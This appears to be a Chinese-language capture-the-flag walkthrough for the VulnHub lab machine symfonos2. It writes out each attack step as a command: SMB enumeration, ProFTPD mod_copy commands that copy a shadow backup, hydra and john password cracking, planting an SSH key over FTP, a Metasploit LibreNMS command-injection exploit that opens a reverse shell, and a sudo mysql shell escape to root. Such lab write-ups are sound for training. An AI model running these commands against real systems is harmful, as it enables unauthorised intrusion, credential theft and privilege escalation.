vulnhub >_ symfonos2
symfonos2
enum4linux -a 192.168.43.83
smbclient --no-pass //192.168.43.83/anonymous
免密连接一下
查看下载好的log.txt
得到用户名aeolus。
ftp 是ProFTPD 1.3.5,是存在漏洞的,但是使用ftp命令是无法匿名登录的,我们尝试使用telnet
成功匿名登录。利用ProFTPD 1.3.5已知漏洞将在log.txt中发现的被备份出来的shadow文件,复制到我们可以进行下载的smb目录
SITE CPFR /var/backups/shadow.bak
SITE CPTO /home/aeolus/share/shadow.bak
这时再次免密登录smb,即可看到我们复制过去的shadow.bak
下载到本地
查看
可以看到我们有root及两个额外的用户,拷贝副本,并编辑去掉无用的用户,以及由于是靶机所以我们不可能跑出来的root
送入john进行破解
第二种方法,这种要慢于本机使用john
可以尝试hydra破解aeolus的凭证
sudo hydra -l aeolus -P /usr/share/wordlists/rockyou.txt ssh://192.168.43.83 -t 4 -vV
aeolus:sergioteamo
尝试登录ssh,发现ssh需要公钥。
登录ftp,密码是复用的。
查看了一下没有其他东西,文件内容和smb是一个。
首先伪造一套ssh密钥
我们之前在log.txt中发现smb所进入的目录其真实路径为/home/aeolus/share,而由于其中内容backups与ftp内容一样,可以初步判断这是同一个文件夹。这样可以通过在ftp上传文件后,smb可以同步看到进行确认。
登录ftp
此时我们处于的目录应该是/home/aeolus,由于我们是使用aeolus用户登录的,故而,我们对这个目录具有可写权限。
新建.ssh目录,可以通过回显看到我们确实是在正确的目录中。上传我们伪造的ssh公钥。
此时再次登录ssh并使用我们刚才的id_rsa密钥文件,即可登录ssh
ssh -i id_rsa aeolus@192.168.43.83
上传linpeas和LinEnum到tmp文件夹做一些基础的枚举
在LinEnum的枚举结果中我们注意到用户cronus有运行apache
并且监听了8080
来查看一下,目标可以使用curl,用curl查看一下
确实有一个服务,并且应该是一个登录界面
我们现在将做一个端口转发,将内部的8080转发到外部,以方便我们进行下一步测试。
ssh -L 8080:localhost:8080 aeolus@192.168.1.124
这是在kali端浏览本地8080端口,就是目标机器的8080端口。
libreNMS
需要cookie,仔细看看标题是已认证登录之后才能执行远程命令执行。
尝试密码复用,成功
复制cookie,使用cookie quick manager插件
前两个都是登录之前的从cookie值,librenms_session则是登录后的cookie值
librenms_session=eyJpdiI6IlFzMlpSVXRsRkZLM3JwbWgxT0VyZ3c9PSIsInZhbHVlIjoidkl2Tkw2Z0RRaGZrVEQwVENXZkdldXd2cmVNcTVHS3kzQngrdEpjdlI4aVh0OUZ3YkdmeDBHSmt4THFQZXpiTjIxWXZlNldTTXBoa2Vjeit1Zzg4WUE9PSIsIm1hYyI6Ijc0NTUzOTdlMDNmMDhlZmY4ZGVjNzM0Y2M2MGM1OGNmNzhiYmFmYzA3NGVlNWFkMjM2MWZkYTRkM2U4ZDYwNjIifQ%3D%3D
构建漏洞利用执行语句 尝试手动利用失败,无法得到shell
利用msf
search libre
use exploit/linux/http/librenms_addhost_cmd_inject
set rhosts 127.0.0.1
set rport 8080
set lhost 192.168.1.108
set username aeolus
set password sergioteamo
exploit
sudo /usr/bin/mysql -e '\! /bin/sh'